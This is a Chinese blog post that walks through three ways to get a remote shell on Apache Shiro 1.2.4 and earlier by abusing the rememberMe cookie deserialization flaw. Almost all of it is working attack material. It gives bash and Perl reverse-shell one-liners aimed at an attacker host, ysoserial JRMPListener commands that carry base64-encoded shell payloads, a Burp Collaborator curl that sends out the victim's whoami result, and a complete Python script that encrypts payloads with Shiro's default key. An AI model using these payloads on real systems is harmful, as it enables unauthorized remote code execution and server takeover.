Apache shiro<=1.2.4 Getshell

方法一

利用JRMPClient

反弹shell方式

Bash:

bash -i >& /dev/tcp/attackIP/7777 0>&1

/bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/attackIP/7777; sh <&196 >&196 2>&196

Perl:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackIP:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

另外还需要通过http://www.jackson-t.ca/runtime-exec-payloads.html进行编码

1、vps执行

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAgLWkgPiAvZGV2RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDmMSAyPiYx}|{base64,-d}|{bash,-i}"

2、vps开启监听

nc -lvvp 7777       

3、脚本生成payload

python shiro_exp.py attackIP:1099

4、发送payload

最后将payload放到http请求的cookie中,提交到服务端

5、执行成功后vps就会反弹一个shell

方法二

1、Burp开启Collaborator client

复制地址,如

uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net

2、攻击者服务器VPS开启监听

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "curl http://uxvlrccmyjkksr7ys3cckj3o9ff53u.burpcollaborator.net/`whoami`"

3、使用POC生成指向VPS JRMP Listener 服务1099端口的payload

python shiro_exp.py "attackIP:1099"

4、查看Collaborator client结果

方法三

利用CommonsBeanutils1、CommonsCollection1或者Jdk7u21

Python shiro_exp.py "bash -c {echo,YmFzaCAgLWkgPiAvZGV2L3RjcC8xNTAuMTA5LjIxLjg5Lzc3NzcgMDwmMSAyPiYx}|{base64,-d}|{bash,-i}"

vps监听nc -lvvp 7777

附shiro_exp.py

复制代码
复制代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())
复制代码
复制代码
注:需要下载ysoserial-0.0.6-SNAPSHOT-all.jar,github上搜一下。
posted @   H4ck3rX  阅读(115)  评论(0编辑  收藏  举报
(评论功能已被禁用)
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示